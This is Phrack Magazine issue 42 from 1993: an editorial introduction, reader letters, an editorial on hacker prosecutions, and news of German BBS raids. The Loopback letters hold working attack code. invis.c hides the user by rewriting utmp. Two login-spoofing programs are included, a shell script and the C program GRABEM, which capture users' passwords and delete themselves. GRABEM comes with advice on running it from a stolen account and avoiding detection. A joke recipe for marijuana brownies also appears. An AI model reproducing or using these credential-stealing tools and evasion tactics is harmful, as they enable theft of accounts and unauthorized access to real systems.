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==Phrack Magazine==
Volume Four, Issue Forty-Two, File 1 of 14
Issue 42 Index
___________________
P H R A C K 4 2
March 1, 1993
___________________
~ Happy Anniversary Bill Cook & Tim Foley, we love you both! ~
Here it is. Amidst all the fanfare and hoopla, Phrack 42 leaps from
your electronic mail box to infect your very soul. It was just a few
short years ago on this day that one of the greatest abuses of
governmental authority took place in the happy little town of Austin,
Texas. This issue marks the three year anniversary of these raids and a
hearty hello goes out to Bellcore, The United States Secret Service, and
the US District Attorney's Office.
As many of you have read previously, or otherwise heard through the
electronic grapevines, Dispater is no longer editor of Phrack. Your
new editor, as I was most recently referred to so lovingly by
my long-time friend John Lee on the alt.cyberpunk Usenet group:
"the long hair and heavy metal beer drinking Texan that
Bruce Sterling finds so .. ahem.. 'attractive'." In case you don't get
the joke, my name is Erikb, and I'm a hacker.
There are a few very distinct differences beginning with this issue of
Phrack. First and foremost, Phrack is now registered with the Library
of Congress, and has its own ISSN. Yes, boys and girls, you can
go to Washington, D.C. and look it up. This adds a new era of
legitimacy to Phrack in that with such a registration, Phrack should
never again face any legal challenge that would bypass any paper
based magazine.
After much deliberation, I have concluded that Phrack
will no longer provide the world's anti-hacker corporate and
governmental types (IE: THE MAN) such valuable information for free.
This will of course have absolutely no effect on YOU, the hackers of the
world. Phrack has always been, and will always continue to be yours to
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Entities who register their subscriptions to Phrack will be providing
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Yes, it will also generate some income. The proceeds of all monies
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making any money off of Phrack, as if I were to show a profit, I would
have to contribute to Tim Foley's expense account via the IRS and I have
absolutely no desire to fund his antics further than I am already
forced to.
To keep things honest, any information about the financial affairs
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Now, pertaining to "THE MAN." Phrack does not care for you and the way
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readers. Henceforth, anyone involved with any ties to a computer
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-------------------------------------------------------------------------
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This is not our main concern, as people who choose to ignore
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It would be an ironic turn of events should the FBI actually have to
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such an occurrence, feel free to let us know. :)
Enjoy the magazine. It is for and by the hacking community. Period.
Editor-In-Chief : Erik Bloodaxe (aka Chris Goggans)
3L33t : K L & T K
News : Datastream Cowboy
Photography : Restricted Data Transmissions & dFx
Publicity : (Please, God, no more press)
Prison Consultant : The English Prankster
Creative Stimulus : Sandoz, Buena Vista Studios, The Sundays
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Librarian : Minor Threat
Thanks To : Professor Falken, Vince Niel, Skylar
Rack, NOD, G. Tenet, Frosty
No Thanks To : Scott Chasin (who didn't even care)
Phrack Magazine V. 4, #42, March 1, 1993. ISSN 1068-1035
Contents Copyright (C) 1993 Phrack Magazine, all rights reserved.
Nothing may be reproduced in whole or in part without written
permission of the Editor-In-Chief. Phrack Magazine is made available
quarterly to the amateur computer hobbyist free of charge. Any
corporate, government, legal, or otherwise commercial usage or
possession (electronic or otherwise) is strictly prohibited without
prior registration, and is in violation of applicable US Copyright laws.
Phrack Magazine
603 W. 13th #1A-278
Austin, TX 78701
phrack@well.sf.ca.us
Submissions to the above email address may be encrypted
with the following key : (Not that we use PGP or encourage its
use or anything. Heavens no. That would be politically-incorrect.
Maybe someone else is decrypting our mail for us on another machine
that isn't used for Phrack publication. Yeah, that's it. :) )
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.1
mQCNAiuIr00AAAEEAMPGAJ+tzwSTQBjIz/IXs155El9QW8EPyIcd7NjQ98CRgJNy
ltY43xMKv7HveHKqJC9KqpUYWwvEBLqlZ30H3gjbChXn+suU18K6V1xRvxgy21qi
a4/qpCMxM9acukKOWYMWA0zg+xf3WShwauFWF7btqk7GojnlY1bCD+Ag5Uf1AAUR
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-= Phrack 42 =-
Table Of Contents
~~~~~~~~~~~~~~~~~
1. Introduction by The Editor 14K
2. Phrack Loopback / Editorial Page / Line Noise 48K
3. Phrack Pro-Phile on Lord Digital 22K
4. Packet Switched Network Security by Chris Goggans 22K
5 Tymnet Diagnostic Tools by Professor Falken 35K
6. A User's Guide to XRAY by NOD 11K
7. Useful Commands for the TP3010 Debug Port by G. Tenet 28K
8. Sprintnet Directory Part I by Skylar 49K
9. Sprintnet Directory Part II by Skylar 45K
10. Sprintnet Directory Part III by Skylar 46K
11. Guide to Encryption by The Racketeer [HFC] 32K
12. The Freedom Of Information Act and You by Vince Niel 42K
13. HoHoCon from Various Sources 51K
14. PWN by Datastream Cowboy 29K
Total: 474K
Phrack 42 is dedicated to John Guinasso, director of global
network security, BT North America, without whose immortal comments,
many would have never been motivated to write.
"If you mess with our network and we catch you -- which we always
do -- you will go down." (John Guinasso, Information Week, July 13, 1992)
"Hell, WE owned Tymnet before BT did!"
(Anonymous hacker-type, Random Telephone Call, 1993)
_______________________________________________________________________________
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 2a of 14
[-=:< Phrack Loopback >:=-]
============================================================================
!!!!WATCH THIS SPACE FOR SUMMERCON INFORMATION NEXT ISSUE!!!!
============================================================================
I 'found' this little C program a few days ago, and runs on most UNIX
machines I think (As I found it, I cant claim fame for writing it!).
What it does, is change your userid and x25 address to anything of your
choice. This only affects programs such as 'write' and 'who'. It doesn't
automatically give you different access rights, so it can only be used
to disguise your real identity.
Usage
-----
inv god somewhere (Changes your uid to 'god' and X.25 to 'somewhere')
inv '' '' (Makes you INVISIBLE on 'who')
Program invis.c
---------------
#include <stdio.h>
#include <utmp.h>
#include <sys/types.h>
#include <lastlog.h>
main(argc,argv)
int argc;
char *argv[];
{
FILE *f;
struct utmp u;
int v=ttyslot(1);
if(v==-1)
{
fprintf(stderr,"Can't find terminal.\n");
exit(1);
if(argc!=3)
{
fprintf(stderr,"Args!\n");
exit(1);
}
f=fopen("/etc/utmp","r+");
if(f==NULL)
{
fprintf(stderr,"Utmp has escaped!\n");
exit(1);
}
if(fseek(f,v*sizeof(u),0)==-1)
{
fprintf(stderr,"Garbage utmp\n");
exit(1);
}
if(fread((char *)&u,sizeof(u),1,f)!=1)
{
fprintf(stderr,"Write failed\n");
exit(1);
}
strncpy(u.ut_name,argv[1],8);
strncpy(u.ut_host,argv[2],16);
if(fseek(f,v*sizeof(u),0)==-1)
{
fprintf(stderr,"Seek failed\n");
exit(1);
}
fwrite((char *)&u,sizeof(u),1,f);
fclose(f);
}
I personaly have not used this program (to hack or for anything else)
What you do with it is up to you....,
________
Have fun...., !!! ( )____
( Alas, life )
( is but an )
( Aardvaark.. )
( __ )
. (_____) (____)
* * * * * * * * * * * * * * * * . ? . ()
* CHEERS_ THEN - _ _ * __ ()
* ___/_/______|_|___| |__ * / \ ()
* |________ _______| |__| * |_ _|
* / / | | | | | | * |(0)||(0)|
* / /___ | | | | | | * /|_ \/ _|\
* /___ / | | | | | | * || | == | ||
* / / | | \ \__/ / * || \____/ ||
* / / |_| \____/ * ///\ !! /\\\
*-*-/_/-*-*-*-*-*-*-*-*-*-*-*-*-=-=-=-=-=-=-=-=-!!!-!-=-=-!-!!!-=-=-=-=-=-=-=-=
-------------------------------------------------------------------------------
I am interested in getting in contact with hackers in Nord Italy
(I am located in Torino). Do you know anybody ?
Can you help TheNewHacker ??
Thanks
TheNewHacker
[Editor: Actually, we are in the process of recruiting people to
write for a compilation file on the hacking scenes in countries
around the world. One person is working on Italy. Perhaps when
this file is completed, you will be able to network through that
information.
If anyone in a country other than America is interested in
contributing to this effort, please write us at:
phrack@well.sf.ca.us ! ]
-----------------------------------------------------------------------------
hello, i must say i love your publication. I have a little kind of
hack/phreak for you guys.
When you approach a Red light, preferably at night with few cars around,
continually flash your bright lights. This tricks the light into believing
this a cop waiting behind traffic at the light thus changing the light after
about 10 flashes. I discovered that after seeing several police officers turn
on their lights before they hit lights and was amazed on how easily the light
changed. If you have say, a Mag-lite the trick works if you point directly
at the top of the post-light and the ones hanging right above red on verticals
and right above yellow on horizontals.
hope this helps etc. (i fucking hate those damn red lights)
Dave.
[Editor: I've actually tried this. It works on most major
intersections]
-----------------------------------------------------------------------------
Hallo !
I'd like to make just some addition to the APPENDIX A of the
Racketeer's article "The POWER of Electronic Mail" - there are
new guys in InterNET -> Russians (!). They have the awful
connection, but it's cool team. So, add :
.su kremvax.hq.demos.su
And one more note, in the SMTP installed on the Sun Station I'm working
on there isn't command TICK, but exist some strange like RSET and
EXPN.
Spy
P.S. Sorry for my bad English.
[Editor: Russia has a lot of computers online these days. Look for
more on the Russian Internet in upcoming Phracks!]
-----------------------------------------------------------------------------
There is another, much simpler way to expand your password collection,
other than tty spoofing. Why not just run a program that simulates the
login process, and then leave it running on the console for an unsuspecting
victim? A simple example is below. Execute by typing getpass:logout.
--------File: getpass----------
LOGIN=""
PASSWD=""
clear
echo -n "login: "
read LOGIN
echo "$LOGIN" >name
sleep 3
echo -n "Password:"
read PASSWD
echo "$PASSWD" >password
echo
echo -n "Login incorrect"
-------------------------------
The only problem I have is that I don't know how to make it so that
the password, when entered, isn't shown on the screen. I'm sure you
can come up with a solution.
[Editor: actually, someone kinda did. See the next letter]
-----------------------------------------------------------------------------
A Better UNIX Password Grabber
by The K-Man
I blame it entirely on boredom. Well, that and an acute case of end-
of-semester neural gridlock. I was sitting in the lab a couple of years
ago, my head leaning against a Sparc-2 display, my index finger hitting the
return key over and over again at the login prompt. It was all my mind and
body were capable of at the time. Then a little thought formed in the back
of my mind: "You know, it would be pretty damn easy to write a program to
imitate the behavior of this screen while grabbing user id's and passwords."
So I logged in and started coding. Then I thought to myself, "You know, with
a few extra lines of code and a couple of tricks, I could make this little
guy almost completely undetectable and untraceable while running." So I
coded some more. A couple of hours later, out popped the following
program:
---------------------------- Cut Here -----------------------------------
/*----------------------------------------------------------------------+
| GRABEM 1.0 by The K-Man |
| A Cute little program to collect passwords on the Sun workstations. |
+----------------------------------------------------------------------*/
#define PASSWORD "Password:"
#define INCORRECT "\nLogin incorrect"
#define FILENAME ".exrc%"
#include <stdio.h>
#include <signal.h>
/*-----------------------------------------------------------------------+
| ignoreSig |
| |
| Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. |
+-----------------------------------------------------------------------*/
void ignoreSig ()
{
return;
}
/*-----------------------------------------------------------------------+
| Main |
+-----------------------------------------------------------------------*/
main()
{
char name[10], /* users name */
password[10]; /* users password */
int i, /* loop counter */
lab, /* lab # you're running on */
procid; /* pid of the shell we're under */
FILE *fp; /* output file */
/*-------------------------------------------------------------------+
| Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\) |
| signals so the program doesn't stop and dump back to the shell. |
+-------------------------------------------------------------------*/
signal (SIGINT, ignoreSig);
signal (SIGTSTP, ignoreSig);
signal (SIGQUIT, ignoreSig);
/*-------------------------------------------------------------------+
| Get the parent pid so that we can kill it quickly later. Remove |
| this program from the account. |
+-------------------------------------------------------------------*/
procid = getppid();
system ("\\rm proj2");
/*-------------------------------------------------------------------+
| Ask for the lab # we're running on. Clear the screen. |
+-------------------------------------------------------------------*/
printf ("lab#: ");
scanf ("%d", &lab);
for (i=1; i<40; i++)
printf ("\n");
getchar();
/*-------------------------------------------------------------------+
| Outer for loop. If the name is <= 4 characters, it's probably not |
| a real id. They screwed up. Give 'em another chance. |
+-------------------------------------------------------------------*/
for(;;)
{
/*---------------------------------------------------------------+
| If they hit return, loop back and give 'em the login again. |
+---------------------------------------------------------------*/
for (;;)
{
printf("lab%1d login: ",lab);
gets (name);
if (strcmp (name, "") != 0)
break;
}
/*---------------------------------------------------------------+
| Turn off the screen echo, ask for their password, and turn the |
| echo back on. |
+---------------------------------------------------------------*/
system ("stty -echo > /dev/console");
printf(PASSWORD);
scanf("%s",password);
getchar();
system ("stty echo > /dev/console");
/*---------------------------------------------------------------+
| Write their userid and password to the file. |
+---------------------------------------------------------------*/
if ( ( fp = fopen(FILENAME,"a") ) != NULL )
{
fprintf(fp,"login %s has password %s\n",name,password);
fclose(fp);
}
/*---------------------------------------------------------------+
| If the name is bogus, send 'em back through |
+---------------------------------------------------------------*/
if (strlen (name) >= 4)
break;
else
printf (INCORRECT);
}
/*-------------------------------------------------------------------+
| Everything went cool. Tell 'em they fucked up and mis-typed and |
| dump them out to the REAL login prompt. We do this by killing the |
| parent process (console). |
+-------------------------------------------------------------------*/
printf (INCORRECT);
kill (procid, 9);
}
---------------------------- Cut Here -----------------------------------
HOW IT WORKS
You can probably figure this out by reading the code, but I thought I'd
just add some comments on why I did what I did.
The first thing is does is install the signal handler. All it does is trap
SIGINT, SIGSTP, and SIGQUIT, so that the person trying to log into the machine
this baby is running on can't kill it with a keystroke. Next, it gets the
parent process ID. We'll use this later to kill it off quickly. Then it
proceeds to erase the executable file. Sysadmins can't find a trojan horse
program that isn't there.
>From here it goes on to imitate the login and password prompts. You'll
probably have to change the code to get it to imitate the login process on
your particular machine.
When it gets a userid and password, it appends them to an existing file in
the account. I chose the .exrc, but any dot file will work. The point being
to use a file that already exists and should be in the account. Don't leave
any extra suspicious files lying around.
After it writes the uid and password to the file, it bumps the user back
to the real login prompt by killing off the shell that was the parent process
of the program. The cut is almost instantaneous; the user would have to be
inhumanly observant to notice the transition.
HOW TO USE
Well, first you need an account to run it from. If your site has guest accounts,
you've got it made. If not, I'd suggest using a little social engineering to
get one other person's account. With that account and the program, you can grab
access to many more. I wouldn't recommend running it from an account that has
your name on it. That just makes it a little more dangerous than it needs to be.
Of course, if the sysadmin happens to catch the program running on your login,
you can always claim to know nothing. Say someone else must have gotten your
password and is using your account to escape detection. He might buy it. But
if you have the source for the program sitting somewhere in your account, and
they find it, you're fucked. So it's best to use someone else's account for
the job.
After you've gotten the account you'll be running it from, you'll need to get
the program in that account somehow. I started off by keeping a copy of the
source somewhere it my account, named with something innocuous and hidden
among bunches of source files, but I got paranoid and started hauling the source
around with me on a bar floppy. Do whatever suits your level of paranoia.
Copy the source to the account you'll be running it from and compile it.
Trash the source, and name the program something that won't stand out in a
ps list. selection_svc is a nice innocuous name, and it appears everywhere.
Do a ps on one of your machines and look for processes that hang around for
a long time. You might want to hide it as a daemon. Be creative.
Now run the program and sit back and wait. Or leave and come back later.
When you know that someone has tried to log on to your booby trapped machine,
log back into the account you borrowed to run the program in and vi or emacs (if
you're that kind of person) out the captured userid and password. Simple as
that.
Note that the two times that you stand the greatest chance of being caught
are when you first compile and run the program and when you retrieve your
captured uid and passwords. There's the remote chance that someone might see
you at work and see what you're doing, but it's not very likely. If you start
acting all paranoid you'll draw more attention to yourself than you would have
gotten in the first place. If your site has dialup lines, you might want to do
a dialin to retrieve the passwords. Or you might prefer to do it in person.
All depends on your paranoia quotient which you think is more secure, I guess.
TIPS
Be careful which dot files you use. I chose the .exrc because it was something
that wasn't used often at our site. If you chose the .cshrc or other frequently
accessed file, put a # before the uid and password you write to that file. That
way, when that dot file is sourced, it'll treat that line as a comment and not
spit out an error message that could cause suspicion.
Try to run the program at a time when you know there will be heavy machine
usage. That way you'll trap something quick. The longer your program
runs, the greater the chance it will be found.
Don't be greedy. Run on only one or two machines at a time. And if you run
on more than one machine, run out of a different account on each one. Again,
the more you put out there, the better the chance that at least one will be
found.
PARTING NOTE
The morning after I wrote this program was the first time I got to use it. I
set it running on a guest account, the went to a machine across the room to
do some legitimate work. One of my friends walks in shortly after that, and
we start shooting the shit. A minute or two later, the sysadmin walks in, sits
down, and logs in to the machine I ran the program on. I came really close to
dropping my fudge right then and there. The only thing running through my
mind was "Either I'm totally fucked, or I have root." Turned out it was choice
B. Too bad the guy changed his password once a week, and I wasn't smart enough
to fix it so that I would see the change. Oh well, I had fun for a week though.
There were quite a few interesting e-mail messages sent back and forth that week.
I think the best one was the one from our (male) department head to one of our
radical she-male hard-core no-damn-gifs feminist female professors, detailing
all the perverted sexual acts that he would like to perform with and on her. :)
Anyway, have fun with the program. Maybe I'll get a chance to come up with
some more cool UNIX programs in the future.
Later,
K-Man
-----------------------------------------------------------------------------
In a recent issue of PHRACK you had some article or loopback about
getting information about people via modem. I am somewhat interested in
this and could use this information. I have a friend who is a part-time
bounty hunter and could use such information to track people down.
Could you please send me some information about who to contact to find out
this information. What I could REALLY use is an on-line up-to-date
phone/address book that I could call to find out anybody's address. Is
there such a thing? If you have any information please e-mail me, since I
am unable to get your mag on a regular basis. Thanx a mil!
Scarface
[Editor: Actually there are quite a large number of databases that keep
information on everyone. There is TRW, Equifax, TransUnion,
Information America and NAI just to name a few. Many of these
services are very expensive, but even services like CompuServe
allow users to look up people all over America using
PhoneFile which compiles data from all kinds of public
records. Nexis can allow you to look up real estate data on
just about anyone with loans on their houses. Every public
utility and department of motor vehicles provides information
on their records, and many are online.
A good book to read about this kind of thing is
Privacy For Sale
Jeffrey Rothfeder
Simon & Schuster
$22.00]
-----------------------------------------------------------------------------
THE GOLDEN ERA REBORN!
Relive the thrill of the golden era of hacking through our exclusive
collection of BBS messages. Our collection contains posts from
over 40 of the most popular hack/phreak BBSes of all time.
Experience the birth of the computer underground again from your
own computer with this collection of original posts from bulletin
boards like:
* 8BBS *
* OSUNY *
* PLOVERNET *
* THE LEGION OF DOOM *
* BLACK ICE PRIVATE *
* THE PHOENIX PROJECT *
And many more...
Messages are available in many computer formats:
IBM
Amiga
Macintosh
For more information, please contact LOD Communications
email: lodcom@mindvox.phantom.com
US Mail: LOD Communications
603 W. 13th St.
Suite 1A-278
Austin, TX 78701
Voice Mail: 512-448-5098
-----------------------------------------------------------------------------
You might like this one...
--bob
****************************************
I just saw a transcript of a press conference given by
Secret Service Agent Frericks, in Lubbock last December.
here is a brief extraction...
FRERICKS: Um hm. This is a major nation wide, world wide problem from
an industry point of view with tremendous losses in funds tremendous
losses of money. the VAX account at the University is a way to get
into numerous other research accounts or Internet which is the ...you
get onto Internet you can talk to anybody else who is on Internet
anywhere in the world which these kids were talking to Belgium, and
Israel and Australia and they can do that just by this, thus avoiding
long distance phone calls. But most of the people on Internet I mean
on the VAX are there legitimately for research purposes they can go to
Mayo and get a file if they're a med student and they also get one of
these pamphlets if they get, like the Department of Engineering gives
out an account number just for that semester, the professor would give
it out so you can use the VAX well they also get one of those
pamphlets that explains what the rules are and the instructor spends a
good bit of time the first couple of classes going over computer
etiquette, computer rules.
[Editor: Another of America's finest.]
-----------------------------------------------------------------------------
I typed this because of the mention of Software Security International in
the article "More than $100,000 in Illegal Software Seized" in Rambone's
Pirates Cove in Phrack 41.
He mentioned that they were the investigators that finally brought down
APL. I am not only familiar with that, a past friend of mine was
there when the Marshalls took the board. He was there as representative of
SSI.
The best part that Rambone didn't know, was that they couldn't get into
APL to verify the existence of the software, until they got the password
breaker from Novell. So in essence, they looked like some dumb fools.
They didn't have any idea on how to approach the network.
Software Security International Can be reached at...
1-800-724-4197
2020 Pennsylvania Avenue N.W.
Suite 722
Washington, D.C. 20006-1846
That is of course if they finally have gotten off the ground. Last I Heard (2-3
months ago) they were still having trouble getting Financial Backing. They did
the APL Bust for nothing, just to prove they could do it. They are also on a
lot of other BBS's around America. So as a warning to other sysops, Cover your
Ass.
You could rack up some serious negative cash flow by sending tons of
mail to the box above, then it gets Airborne'd to Washington State.
see ya
[Editor: I think it might be a good idea to send them a few postcards
every day for the next few weeks. Just to stay in touch.]
-----------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 2b of 14
[-=:< Editorial >:=-]
Before I jump upwards onto my soapbox and spew forth a meaty
editorial I would like to relay something to the readers of Phrack.
The following is a transcript of John Lee's (Corrupt's) confession
to the charges facing him. (From Security Insider Report, Jan. 1993)
What follows is in my opinion a very poor attempt at a plea-bargain,
and obviously induced by attorney coercion. I must wonder what John
was thinking when he agreed to this admission.
======================================================================
I agreed with others to violate various laws related to the use of
computers. I agreed to do the following:
1) I agreed to possess in excess of fifteen passwords which
permitted me to gain access to various computer systems
including all systems mentioned in the indictment and others.
I did not have authorization to access these systems. I knew
at the time that what I did was wrong.
2) I used these access devices and in doing so obtained the value of time
I spent within these systems as well as the value of the passwords
themselves which I acknowledge was more than $1000.
3) I intentionally gained access to what I acknowledge are Federal interest
computers and I acknowledge that work had to be done to improve the
security of these systems which was necessitated by my unauthorized
access.
4) I was able to monitor data exchange between computer systems and by
doing so intentionally obtained more passwords, identifications and
other data transmitted over Tymnet and other networks.
5) I acknowledge that I and others planned to share passwords and
transmitted information across state boundaries by modem or telephone
lines and by doing so obtained the monetary value of the use of the
systems I would otherwise have had to pay for.
Among the ways I and others agreed to carry out these acts are the following:
1. I was part of a group called MOD.
2. The members of the group exchanged information including passwords
so that we could gain access to computer systems which we were not
authorized to access.
3. I got passwords by monitoring Tymnet, calling phone company
employees and pretending to be computer technicians, and using
computer programs to steal passwords.
I participated in installing programs in computer systems that would give
the highest level of access to members of MOD who possessed the secret
password.
I participated in altering telephone computer systems to obtain
free calling services such as conference calling and free billing
among others.
Finally, I obtained credit reports, telephone numbers and addresses
as well as other information about individual people by gaining access
to information and credit reporting services. I acknowledge that on
November 5, 1991, I obtained passwords by monitoring Tymnet.
I apologize for my actions and am very sorry for the trouble I have
caused to all concerned.
John Lee
==========================================================================
This issue I would like to call attention to what I consider to be
a very pressing issue. There has always been a trend to pad the
amount of dollar damages incurred to any victim of a hacker attack.
I personally feel that the blame is never directed at the true guilty
parties.
Certainly, if someone is caught breaking into a system, then they are
surely guilty of some form of electronic trespass. I will also
concede that such a person may or may not be guilty of other crimes
based upon their actions once inside that system. What I have the
most problems dealing with is the trend to blame the hacker for any
expenditures needed to further secure the system.
With this mindset, why should any corporation bother to add any
security at all? Why not just wait until someone happens across
a few poorly secured sites, nab them, and claim damages for the
much needed improvements in security?
The worst culprits in this type of behavior has been the RBOCs. As was
seen with the supposed damages incurred for the distribution of the
"911 document" and most recently with the $370,000 damages supposedly
incurred by Southwestern Bell resulting from the alleged activities
of those in MOD.
Perhaps this figure does have some basis in reality, or perhaps it is
just an arbitrary figure dreamed up by a few accountants to be used
at year end to explain some losses in the corporate stock report.
Most often figures such as this factor in such ridiculous items as
the actual system hardware penetrated. I can hardly see the relevance
of such a charge.
Even if these charges are to be believed, why isn't the blame being
evenly distributed? Why aren't stockholders crying for the heads of
system administrators, MIS managers and CIOs? These are the people who
have not adequately done their jobs, are they not? If they had expended
a bit of time, and a small amount of capital, the tools exist to make
their systems impervious to attack. Period.
If I had an investment in a company such as Southwestern Bell, I would be
outraged that the people I was employing to perform data security
functions were not apt enough to keep a group of uneducated gangsters
out of their switching systems. Why haven't there been any emergency
meetings of shareholders? Why isn't anyone demanding any changes in policy?
Why is everyone still employed?
Not to blame Southwestern Bell too harshly, they were sorely outclassed
by MOD, and had absolutely no way to cope with them. Not only because MOD
were competent telco hackers, but because Southwestern Bell's network
service provider had given them free reign.
Southwestern Bell's packet switched network, Microlink II, was designed
and implemented for SWBT by Tymnet (then owned by McDonnell Douglas).
An interesting thing I've heard about SWBNET, and about every other subnet
arranged by Tymnet, is that the information concerning gateways, utilities,
locations of node code, etc., is purported to be located in various
places throughout Tymnet internal systems. One such system, was described
to me as a TYMSHARE system that contained data files outlaying every subnet
on Tymnet, the mnemonics (username/password pair) to each utility, gateway,
and the ONTYME II mail access keys.
If this information is correct, then shouldn't Tymnet be called in to
acknowledge their role in the attacks on Southwestern Bell?
Let's say a Realtor sold you a house, but told you that he would be keeping
copies of all your keys so that he could help you with the maintenance.
Some time later, you notice that a few of your books have been read, but
nothing else is disturbed. Later on you notice that your tv is on and your
bed is all messed up. A week later your stereo is gone. You set up a trap
and catch someone going into your house with your own key! You find that
the burglars had made copies of all the keys held by your Realtor. You
then find that the Realtor neglected to put the keys in a safe, and in fact
had left them lying around on the table in his back yard labeled with
the addresses they corresponded to.
Who would you be more upset with? The individual who copied and used the
keys, or the Realtor for not providing the access to your valuables more
vigilantly? I would personally be far more upset with the Realtor, for
if he had put the keys in a safe this event would have probably never
transpired.
I'm not saying that people who get caught for breaking into computer
systems should be let go, especially if they can be proven to be involved
in the sale of hacked information for a personal profit. What I am saying
that if hackers are to be punished so vigorously for what I view as a
predominantly victimless crime, then everyone should have to line
up and take their fair share of the blame.
I think it's high time that the real blame be placed on the corporate
entities who seemingly refuse to acknowledge their role in these
break-ins. Neglect of duties and lack of responsibility on the part
of the employees, the interconnect carriers, the data network providers,
the hardware vendors, etc. all play a key role in the problems that
exist in the world's data networks today. In fact, if it were not for
computer hackers, these problems would continue to lie dormant until either
discovered by accident in the field, or the provider decided to go ahead
and illuminate its clients to the existence of such a problem.
I wholeheartedly encourage each and every reader of Phrack to
purchase one share of stock in any corporation you know that has exhibited
such tendencies and take your place on the floor of the next shareholders
meeting and scare the hell out of the board of directors.
Phrack Magazine is calling a discount brokerage very soon.
-------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 2c of 14
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
// \\/ \\ // // ===/ ====
******************************************************************************
BBS Busts in Germany
====================
Thursday, March 18, 1993.
This day will be remembered as a black day in German BBS history.
In fact, it was the blackest day in German BBS history since the raid
of 18 Berlin BBS in Berlin and North Germany a couple of months ago.
What has happened? A couple of Bulletin Board Systems (BBS) have
been raided by the police. All these BBS had "warez" online, illegal,
pirated, copyrighted Software - usually for PC/MSDOS and Amiga.
This time, most of these BBS were in Bavaria, South Germany.
Now let's take a closer look at the events:
One guy who got busted was MST, Sysop of Southern Comfort BBS
in Munich. In fact, his board went offline 9 days before.
But he was so unlucky still having his computer and his warez.
He was even using his modem to trade warez at the very moment
the cops rang his doorbell. Why did he go offline just so short
before he got busted? His board had been running for over 1 year.
Here is the text file MST released about going offline:
THURSDAY 03-09-93 00:15
THE SOUTHERN COMFORT BBS IS CLOSED !
I AM NOT BUSTED OR ANYTHING LIKE THIS !
I CLOSED THE BBS COS OF PERSONAL REASONS AND
PERHAPS IT WILL BE OPENED AGAIN IN 1 OR 2 MONTH !
I HOPE YOU WOULD UNDERSTAND THIS DECISION BUT SCENE
IS NOT ALL WHAT LIFE CAN BE ALL USER ACCOUNTS STAY
ALIVE AND WILL BE HERE AT A NEW??? OPENING !
SO I SAY BYE TO THE SCENE FOR PERHAPS ONLY A SHORT TIME !
MST/RAZOR 1911
A couple of days later, MST was posting ads in local BBS to sell his
old equipment. But obviously he wasn't fast enough. Maybe this was
one of the reasons the cops busted him on March, 18. They were afraid
he might get rid of his illegal software, so they hurried up to catch him!
He got busted at 10am this morning. Three cops were knocking on his door,
until he opened. They had a search warrant and confiscated all his
computer equipment, disks, modems...
Chris used to have a board until four months ago, and now trades for TDT and
other groups. He was in school this morning. His parents weren't home
either. So the cops broke into his house, smashed the wooden door, and
seized all his equipment. He is asked to speak to the Police this Tuesday.
Chris used to be one of the most active traders for PC warez in Germany.
He and his friend Michelangelo supported boards like Schizophrenia and
Beverly Hills, which they co-sysop'ed. They were also known as the
'Beverly Hills Boys', a new German cracking group.
After Chris' bust, a couple of boards were affected:
Beverly Hills went offline. Also the German Headquarters of the Beverly
Hills Boys, 'Twilight Zone', went offline. Their sysops estimate at least
1-3 months offline time.
The other Munich BBS and their sysops were really scared after the bust
and took down their systems for an uncertain amount of time.
One of Germany's largest BBS, Darkstar in Augsburg, was a heaven for
every warez collector. It had 8 modems hooked up (all US Robotics Dual
Standard 16.8) and one ISDN Line.
It had over 2 GB PC warez online, and over 7 GB offline on tapes, which
would be put online according to user' requests.
But then, March 18 arrived, and the dream was shattered.
Its sysop, Rider, who was happily calling boards the previous day,
had the most shocking experience in his life. The cops came and
took his BBS.
And more..
Ego, co-sysop of a large German BBS, got busted.
Andy/Spreadpoint (ex-sysop) got busted.
And lots of others...
Unlike the US Secret Service, which delights in seizing all
electronic equipment, like stereos, TVs, VCRs, the German cops
were just after the computer hardware, especially the hard drives
and file servers.
They usually come with three or four people. All of the search warrants
they were using were quite old, issued last December.
Who is behind those actions?
First of all the BSA, Business Software Association. They
were also responsible for the recent raids of US Bulletin Boards.
In Germany they just announced actions against piracy and
bulletin boards. The most active BSA Members are Microsoft and
Lotus Development. Microsoft, Lotus and the BSA are all located
in Munich, Germany, home of German's most feared lawyer,
Guenther Freiherr von Gravenreuth. This guy has been fighting
for years against piracy, young kids who copy games, and especially
bulletin board systems. He is also affiliated with Ariolasoft, a huge
German distributor for game labels like Activision and others.
In the end, all I can say is:
Be aware, don't get caught and don't keep illegal stuff on your board!
(c) 1993 SevenUp for Phrack
******************************************************************************
Carlcory's brownies:
/* Begin cc_brownie.c */
Includes:
#include "4_squares_baking_chocolate"
#include "1_cup_butter"
#include "2_cups_sugar"
#include "4_eggs"
#include "2_cups_flour"
#include "2_tbs_vanilla"
#include "1_third_cup_marijuana" /*comment out if won't compile
on your system*/
#include "1_cup_nuts" /*comment out if won't compile*/
void main(void);
{
heat(oven, 350);
add(butter, chocolate);
while(texture!='smooth') {
stir(mixture);
}
Add(sugar);
add(eggs);
add(vanilla);
add(flour, pot);
add(nuts)
for(timer=0; timer<35; timer++) {
bake(mixture);
}
cool(hour);
}
/*The high takes about an hour to come on,
but lasts for 12 hrs. (4 brownies)
Make sure they cool (don't burn your mouth!)
and share with friends! */
/*End of cc_brownie.c*/
******************************************************************************
GRAY AREAS
Examining the Gray Areas of Life
Gray Areas, Inc.
P.O. Box 808
Broomall, PA 19008-0808
(215)353-8238
grayarea@well.sf.ca.us
Gray Areas is published quarterly and printed on recycled paper. They also
participate in local recycling efforts involving cans, glass, clothing,
newspapers, and more.
A four-issue subscription costs $18.00 US or $26.00 foreign (payable in US
funds). A 12-issue subscription costs $50.00 ($75.00 foreign). You may
purchase a twelve issue subscription and give 4 or 8 or those issues away as
gifts to friends (i.e., the same 4 issues you receive would also go to 2 other
recipients). Make check or money order out to Gray Areas, Inc.
STATEMENT OF PURPOSE:
Gray Areas exists to examine the gray areas of life. We hope to unite people
involved in all sorts of alternative lifestyles and deviant subcultures. We
are everywhere! We felt that the government has done a great job of splitting
people up so that we do not identify with other minority groups anymore. There
are so many causes now that we often do not talk to others not directly
involved in our chosen causes. We believe that the methods used to catch
criminals are the same regardless of the crime and that much can be learned by
